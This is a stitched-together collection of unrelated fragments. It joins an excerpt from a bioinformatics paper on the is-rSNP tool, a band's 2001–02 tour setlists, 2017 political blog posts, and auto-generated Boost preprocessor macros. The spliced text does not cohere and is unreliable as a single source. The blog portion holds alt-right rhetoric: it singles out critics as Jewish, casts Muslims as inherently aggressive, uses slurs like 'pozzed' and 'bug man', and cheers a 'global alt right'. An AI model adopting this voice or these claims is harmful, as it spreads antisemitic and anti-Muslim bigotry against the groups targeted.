-------------------------------------------------------------------------
Knowledge of the distribution of *S*~*n*~ allows us to calibrate the scores using their *P*-values *x* ↦ **P**\[*S*~*n*~ ≥ *x*\]. This is a form of ranking of all the possible score values, from the highest to the lowest, accounting for the varying probability of different scores being attained with different frequency. It is convenient to introduce the following 'log-rank' function: for any *x* ∈ {0, 1,..., *nU*}.
In the case of a SNP changing the *i*-th nucleotide *b*~*i*~ of to *c*, we may observe a significant change in the score ([1](#M1){ref-type="disp-formula"}) from to reflected in the change of log-rank: This may signify a rSNP, but the change needs to be calibrated in order to assess its significance. To that end, we evaluate the distribution of the RV of all possible single base changes: where nucleotides *b*~1~,..., *b*~*n*~, *c*~1~, *c*~2~ are drawn independently from 𝔹 according to our prior distribution and position *i* is drawn uniformly from {1,..., *n*}.
Note that for every *v* ∈ ℝ, we have where the third sum is over values *x* ∈ { 0, 1,..., (*n* − 1)*U*} such that and *p*~\*,*n*\\*i*~ is the distribution of scores of ∑~*j*≠*i*~*w*(*b*~*j*~, *j*) of the PWM with *i*-th column neglected, which can be easily computed by a straightforward adaptation of the recurrence ([3](#M3){ref-type="disp-formula"}). (The probability ≔0 if no such *x* exists.)
Our final algorithm computes the distribution of Δρ with granularity δ\>0, see [Supplementary Materials](http://bioinformatics.oxfordjournals.org/cgi/content/full/btq378/DC1) for details. For δ = 0.01 and the whole TRANSFAC v2009.4 database of approximately 1300 PWMs, this computation can be completed in under 4 h on a single CPU machine and only needs to be computed once.
3 RESULTS {#SEC3}
=========
We evaluated the performance of is-rSNP on two types of data. First, we compiled a set of 41 known rSNPs \[4 from the literature and 37 from OregAnno (Montgomery *et al.*, [@B20])\] for which there was empirical evidence showing the impact of the allelic variation on the binding of a functionally critical TF. We ran is-rSNP on each of these SNPs to see if the correct TF was identified. We also analysed the same data using sTRAP (Manke *et al.*, [@B17]) and compared the output with is-rSNP. Secondly, we extracted 146 disease-associated SNPs from the published catalogue of GWASs (Hindorff *et al.*, [@B13]) that had been classified as 'intergenic', and screened them for potential rSNPs. The goal here was to see if the TF predicted by is-rSNP as being disrupted had prior evidence of being associated with the disease. If this association was present, it would suggest that our predicted rSNPs are likely to have a functional impact on the disease via a disease-associated TF. Note: a comparison with sTRAP was not done using this data as the lack of statistical significance associated with predictions output by sTRAP makes it unsuitable for this type of analysis.
3.1 Evaluating is-rSNP using known rSNPs {#SEC3.1}
----------------------------------------
[Table 1](#T1){ref-type="table"} shows the results of applying is-rSNP to four different rSNPs. Each of these rSNPs has previous empirical evidence to show that the nucleotide variation disrupts the binding of a particular TF. is-rSNP was used to screen each SNP with all human PWMs in the TRANSFAC (Matys *et al.*, [@B18]) database. This resulted in a ranked list of PWMs that have a significant change in PWM score between the alleles. For each rSNP, the predictions were thresholded at BH corrected *P* \< 0.05 and are reported in [Table 1](#T1){ref-type="table"}. In each of four cases there is a match between the predicted disrupted TF and the TF reported to be disrupted in the original studies (highlighted in bold). In the case of the fetal growth disorder rSNP (Demars *et al.*, [@B5]), and the blood pressure regulation rSNP (Funke-Kaiser *et al.*, [@B10]), the most significant hit matches the reported TF. An interesting point to note is that there are multiple positive hits for Oct1, Ap2 and E2F. This is due to the fact that many matrices are similar for the same TF family. These multiple matrices provide additional evidence for a *bona fide* binding site. In addition to these four rSNPs, we also analysed 37 known rSNPs extracted from OregAnno (Montgomery *et al.*, [@B20]). Out of those 41 (=4+37), 28 SNPs had the matching TF bound (PWM score *P* \< 0.001 BH corrected) to one of the alleles, and in each of these cases a significant (*P* \< 0.05, BH corrected) change in binding score was predicted by is-rSNP. Therefore, is-rSNP correctly identified 28 out of the 41 known rSNPs. Table 1.This table shows the results of applying is-rSNP to four known rSNPsrSNP:AF125183:6153chr1:208055893chr4:74825920chr1:21489833Study:Demars *et al.* ([@B5])Rahimov *et al.* ([@B23])Hacking *et al.* ([@B11])Funke-Kaiser *et al.* ([@B10])Disease/Trait:Fetal growth disorderCleft lipRSV-induced bronchiolitisBlood pressure regulationDisrupted TF:OCT4AP-2αCEBPβE2F2is-rSNP outputMatrixTF*P*-valueMatrixTF*P*-valueMatrixTF*P*-valueMatrixTF*P*-value1**M00135Oct-10.0002**M01208FLI10.0001M01361HOXC100.0016**M00426E2F0.0011**2**M00248Oct-10.0006**M000 |
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] | Run! Christian Run!, Fire In My Heart, Northern Lites, Juxtapozed With U, Do Or Die, God! Show Me Magic, Calimero, Night Vision, The Man Don’t Give A Fuck 17/10/01: Club Quattro, Nagoya, Japan 19/10/01: Shibuya Ax, Tokyo, Japan
Setlist: (A) Touch Sensitive, Ice Hockey Hair, Sidewalk Serfer Girl, (Drawing) Rings Around The World, Play It Cool, Receptacle For The Respectable, No Sympathy, Demons, It’s Not The End Of The World?, Dacw Hi, Presidential Suite, Fire In My Heart, Run! Christian Run!, Juxtapozed With U, Northern Lites, Do Or Die, God! Show Me Magic, Calimero, Night Vision, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 26/10/01: Melkweg, Amsterdam, Netherlands 08/11/01: Belfast Festival, Queens University, Mandela Hall 09/11/01: Nerve Centre, Derry 11/11/01: The Ambassador Theatre, Dublin, Ireland
[Also acoustic bingo in the afternoon at Whelan’s and a DJ set at 4 Dame Lane.] 14/11/01: Botanique, Brussels 15/11/01: Gebaude 9, Koln 18/11/01: Kulturbolaget, Malmo 19/11/01: Tavastia Klubi, Helsinki
Setlist: (A) Touch Sensitive, Ice Hockey Hair, Sidewalk Serfer Girl, (Drawing) Rings Around The World, Play It Cool, Receptacle For The Respectable, No Sympathy, Juxtapozed With U, It’s Not The End Of The World?, Fragile Happiness, Nythod Cacwn, Presidential Suite, Run! Christian Run!, The International Language of Screaming, Do Or Die, God! Show Me Magic, Calimero Night Vision, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion, Best Mindfuck Yet 21/11/01: Gota Kallare, Stockholm 22/11/01: John Dee, Oslo 23/11/01: Hulen, Bergen
Setlist: Stooges*, Ice Hockey Hair, Sidewalk Serfer Girl, (Drawing) Rings Around The World, “(Intro Malu Cacha=Hello Cleveland)”, Receptacle For The Respectable, No Sympathy, Juxtapozed With U, It’s Not The End Of The World?, Fragile Happiness, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Do Or Die, God! Show Me Magic, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 24/11/01: Folken, Stavanger 26/11/01: Karen, Goteborg 27/11/01: Pumpehuset, Kobenhavn 29/11/01: Schlacthof, Hamburg 30/11/01: Knaack Klub, Berlin 01/12/01: Szene Wien, Vienna
Setlist: Stooges*, Ice Hockey Hair, Sidewalk Serfer Girl, (Drawing) Rings Around The World, Receptacle For The Respectable, No Sympathy, Juxtapozed With U, It’s Not The End Of The World?, Fragile Happiness, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Do Or Die, God! Show Me Magic, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 02/12/01: Metropolis, Munchen 04/12/01: Arena, Madrid
05/12/01: Sala Apolo, Barcelona 07/12/01: Rainbow, Milano 08/12/01: Havana, Toulouse 10/12/01: La Maroquinerie, Paris 11/12/01: Doornroosje, Nijmegen 12/12/01: Effenaar, Eindhoven 13/12/01: Melkweg, Amsterdam 14/12/01: Paard, Den Haag 15/12/01: Waterfront, Rotterdam 16/12/01: Ekko, Utrecht, Netherlands 10/04/02: University Of Leicester 11/04/02: Ocean, Hackney, London
Setlist: (A) Touch Sensitive, Sidewalk Serfer Girl, (Drawing) Rings Around The World, Receptacle For The Respectable, It’s Not The End Of The World?, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Fire In My Heart, Juxtapozed With U, The International Language Of Screaming, Golden Retriever, Do Or Die, God! Show Me Magic, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 18/04/02(???): Minneapolis – (was this the 17th or 18th)?
Setlist: (A) Touch Sensitive, (Drawing) Rings Around The World, Ice Hockey Hair, Sidewalk Serfer Girl, Receptacle For The Respectable, No Sympathy, Juxtapozed With U, It’s Not The End Of The World?, Fragile Happiness, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Fire In My Heart, The International Language Of Screaming, Golden Retriever, Do Or Die, God! Show Me Magic, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 19/04/02: Abbey Pub, Chicago, IL
Setlist: (A) Touch Sensitive, (Drawing) Rings Around The World, Sidewalk Serfer Girl, Receptacle For The Respectable, Golden Retriever, The International Language Of Screaming, It’s Not The End Of The World?, Fragile Happiness, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Fire In My Heart, No Sympathy, Juxtapozed With U, Do Or Die, God! Show Me Magic, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion, Best Mindfuck Yet 20/04/02: Opera House, Toronto 21/04/02: Cabaret, Montreal 22/04/02: Paradise, Boston, MA
Setlist: (A) Touch Sensitive, (Drawing) Rings Around The World, God! Show Me Magic, The International Language Of Screaming, Golden Retriever, Sidewalk Serfer Girl, It’s Not The End Of The World?, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Fragile Happiness, No Sympathy, Juxtapozed With U, Receptacle For The Respectable, Do Or Die, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion 24/04/02: Irving Plaza, New York
Setlist: (A) Touch Sensitive, (Drawing) Rings Around The World, God! Show Me Magic, Golden Retriever, The International Language of Screaming, Sidewalk Serfer Girl, It’s Not The End Of The World?, Nythod Cacwn, Run! Christian Run!, Presidential Suite, No Sympathy, Juxtapozed With U, Receptacle For The Respectable, Do Or Die, Calimero, The Man Don’t Give A Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar Y Blaned Neifion, Best Mindfuck Yet 25/04/02: Theatre Of Living Arts, Philadelphia, PA
Set List: Stooges, (Drawing) Rings Around The World, God! Show Me Magic, Golden Retriever, The International Language of Screaming, Sidewalk Surfer Girl, It’s Not the End of the World?, Nythod Cacwn, Run! Christian, Run!, Presidential Suite, No Sympathy, Juxtapozed With U, Do Or Die, Calimero, Mr. Don’t Fuck, Gwreiddiau Dwfn/Mawrth Oer Ar y Blaned Neifion 26/04/02: Otto Bar, Baltimore, MD
27/04/02: 40 Watt Club, Athens, GA 29/04/02: The Social, Orlando, Florida
Setlist: (A) Touch Sensitive, (Drawing) Rings Around The World, God! Show Me Magic, Golden Retriever, The International Language Of Screaming, Sidewalk Serfer Girl, It’s Not The End Of The World?, Nythod Cacwn, Presidential Suite, Run! Christian Run!, Fragile Happiness, No Sympathy, Juxtapozed With U, Receptacle For The Respectable |
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] | his antics and energy demonstrate. He went down in the middle of that and it wasn’t very far to the next randy abuser or patsy as the case may be.
And, Hollywood being Hollywood, for nearly every one of these charges there’s a play at work, someone settling a score or someone being taken down. The rules changed overnight and all of these people are armed with bludgeon. Further there’s the encouraging effect of all those examples. Once it gets going and women see they don’t have anything to fear and maybe something to gain (aside from whether or not their charges are genuine) it feeds on itself.
Once Weinstein fell it was as if an ogre had been toppled. They must’ve thought this guy invincible (including Hillary). There’s a “look, it bleeds” aspect to the reaction, cowed people suddenly liberated and running rampant.
That needed to happen in Hollywood, and for it to happen Trump had to happen–specifically, the epic own goal that is the “pussy hat” movement in reaction to–what?–Trump’s tape revealing the depravity and sexual license of show business.
Monday, December 04, 2017
I opened the front door to the cool slick fall night and the cat raced past my feet. Normally he'd rise, languidly stretch and walk inside with feline nonchalance.
I looked one way then the other, saw nothing, closed the door. Moments later I notice the bird he's brought inside--for some reason he's abandoned it for the moment on the floor. It's a sparrow. Do they come out at night? He's on his back and gasping for air. I'm conflicted, if mildly--proud of the old cat's hunting prowess and sorry for the bird.
You can go your whole life without confronting death face to face, as it were, in the modern world. I wonder if this makes it harder or easier when you at last have to face it. I'll probably find out myself. I've grown old never having seen a corpse outside of a coffin.
Wearing a plastic bag like a glove I picked him up as gently as I could. He didn't move. I took him outside and laid him down, squeezing the air out of the bag slowly until I was holding him there in between my palms. Now what to do with him?
Putting him in the garbage wouldn't do so I took him out back. There's a creek there, just over a picket fence in a ravine, indicated in the deep dark only by its sound. Throwing him into the creek seemed a respectful enough means. I was compelled by some slight God-is-watching sense of guilt to make a show of it. Also vanity, somehow, as always, the sense that everyone is watching that never goes away if you're me. I'm not sure these are two different things.
He was still warm. I couldn't bury a warm body. What if he's still alive? He seemed to get warmer in fact; does body heat surge as the life passes out? I would wait. If there's some tiny bit of sentience there, of suffering, then perhaps this ameliorates it. You won't die alone I thought, holding this bird that was likely already dead as a boot.
He took his time. I was in a shadow of black between the house and a massive evergreen that emerges improbably from the middle of the little creek. The half-moon and stars appeared three dimensional behind the flat screen of the skeletal bare branches of an oak tree.
I wavered. It's a bird. This is ridiculous, I know it is. But I'm looking for profundity wherever I can find it. I'm also looking for something else. What?
Sunday, December 03, 2017
Donald Trump retweeted three video clips of anti-white Muslim aggression, without comment. Instantly the news cycle was convulsed. Trump's tweets course through the neural pathways of the system like dopamine.
The outrage seized on the source, a British woman facing jail for speaking against Muslim immigration. Guilt by association always helps to distract from substance. And of what is she guilty? Stuff like the offending tweets, I imagine.
As for the substance of those tweets, there's always the obscurantist option
Glenn Greenwald might be slipping into millennial-speak when he issues the nonsensical phrase "random Muslims", but it helps his argument still. He means presumably random acts by Muslims, but there's nothing random about patterns. These videos are documentary proof of a pattern. They only reach us through the interference of Glenn and his ilk.
(I'm reminded of something I witnessed a few years back. A newly assigned New York Times reporter working in Palestine wrote of her impressions of Palestinians mourning for those killed by Israeli troops. The funerals were outpourings of intense lamentations, but after and beyond that the deaths were taken with a stoicism this western, Jewish woman did not recognize.
The implications were clear, if not to her. A cyber-posse rode out, Glenn and others, I think all Jewish, and she was publicly chastised for the racism of suggesting even a cultural difference between Jews and Palestinians. She quickly pleaded ignorance and apologized. Her impressions were mistaken, coercion made clear to her now.
After this satisfactory conclusion Greenwald observed approvingly "this is how it's supposed to work." What "it" is exactly he didn't say, but I don't think it's journalism.)
It is surreal: the Anglo-descended president of the United States roundly denounced by the West's respectable class for documenting foreigners attacking and humiliating westerners in their home countries. With the vast pozzed middle acquiescing or supporting them. One British luminary promised Trump would be met with massive protests if he dared visit, and he's to be believed. A vast, motley horde is at the globalists' command.
"Delete your account" British pols literally demanded, without the customary humor. Indeed, ashen is the only way I can describe the pallor of one horrified luminary who suggested Trump be charged with hate crimes. The elite appears terrified. Trump's actions are unfathomable.
Trump's re-tweets constitute a revolutionary act.
As much as it's rustled the gilded jimmies of our degenerate elite, it may--it has to, one thinks--be giving hope to indigenous British caught between a hostile government and hostile Muslims.
Trump's intrusion into British domestic politics subverts and betrays the global elite, talking past them to the white populations they loathe and fear. It's astounding that it's happening, and that it needs to in the first place.
The progressive order is global, and by its very nature. Opposition tends to be local, by its very nature. Beyond the harried and harassed of the alt right there is no global opposition. Trump may have changed all that. Just the--forgive the phrase--raised consciousness of it could be transformative.
What a global alt right would look like is anyone's guess. But just the idea of it, widely held, has the potential to accelerate a showdown with the global elite that seems better coming sooner rather than later.
Ross Douthat called Candidate Trump a "traitor to his class" for his economic nationalism. Now he's a traitor to his time, the Current Year. As for the Brit-pol suggesting Trump could be charged under the same laws as the woman he retweeted, the law is the law. The president isn't above the law in his home. Why should he be above Britain's laws? US citizens have been denied visas for political views. Why not the president?
Leonid Bershidsky is a Jewish Russian expatriate journalist who writes opinion for Bloomberg. Here he makes a show of leaving Russia in 2014, citing Putin's press restrictions and the annexation of Crimea. He's spent a career in Russian media for a western audience, working for such as the Moscow Times.
Tony Hovater, the Ohio man whose profile in The New York Times caused much indignation last weekend, would have been in jail or at least under close police surveillance if he lived in Germany. In the U.S., Hovater is free to keep posting swastika-filled pictures on Facebook — but the writer and editors who published a piece about him that was bleakly neutral in tone face ferocious anger for "normalizing" the Nazi sympathizer.
A certain part of U.S. society's desire to set rules has been frustrated by the election of Donald Trump as president — though, in fact, it was frustrated even earlier, by years of Republican majorities in Congress. That frustration is manifesting itself as vocal outrage campaigns on the same social networks that have enabled Trump supporters to organize and white supremacists to find like-minded people in other parts of the country. But rather than bring change, the outrage will deepen rifts.
Everyone who's anyone is angry the Nazi in the story is so nice and harmless--but they would be untroubled in Europe, where he would be thrown in jail for dissent no matter how decent. Bershidsky has the profile of the soulless international bug man, and this piece on its face is a common enough type: an author implicitly suggesting a radical solution in ostensible neutrality. But he goes so far I'm tempted to think it a disguised satire or something. If Bershidsky was alt right, a conspiracy theory of his working for the Deep State to make the movement |
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] | _IIF(c, FB_BOOST_PP_FOR_233, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(233, s), p, o, m)
# define FB_BOOST_PP_FOR_233_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(234, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_234, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(234, s), p, o, m)
# define FB_BOOST_PP_FOR_234_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(235, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_235, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(235, s), p, o, m)
# define FB_BOOST_PP_FOR_235_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(236, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_236, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(236, s), p, o, m)
# define FB_BOOST_PP_FOR_236_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(237, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_237, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(237, s), p, o, m)
# define FB_BOOST_PP_FOR_237_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(238, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_238, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(238, s), p, o, m)
# define FB_BOOST_PP_FOR_238_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(239, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_239, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(239, s), p, o, m)
# define FB_BOOST_PP_FOR_239_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(240, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_240, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(240, s), p, o, m)
# define FB_BOOST_PP_FOR_240_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(241, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_241, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(241, s), p, o, m)
# define FB_BOOST_PP_FOR_241_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(242, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_242, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(242, s), p, o, m)
# define FB_BOOST_PP_FOR_242_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(243, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_243, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(243, s), p, o, m)
# define FB_BOOST_PP_FOR_243_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(244, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_244, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(244, s), p, o, m)
# define FB_BOOST_PP_FOR_244_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(245, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_245, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(245, s), p, o, m)
# define FB_BOOST_PP_FOR_245_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(246, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_246, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(246, s), p, o, m)
# define FB_BOOST_PP_FOR_246_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(247, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_247, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(247, s), p, o, m)
# define FB_BOOST_PP_FOR_247_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(248, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_248, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(248, s), p, o, m)
# define FB_BOOST_PP_FOR_248_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(249, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_249, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(249, s), p, o, m)
# define FB_BOOST_PP_FOR_249_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(250, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_250, FB_BOOST_PP_TUPLE_ |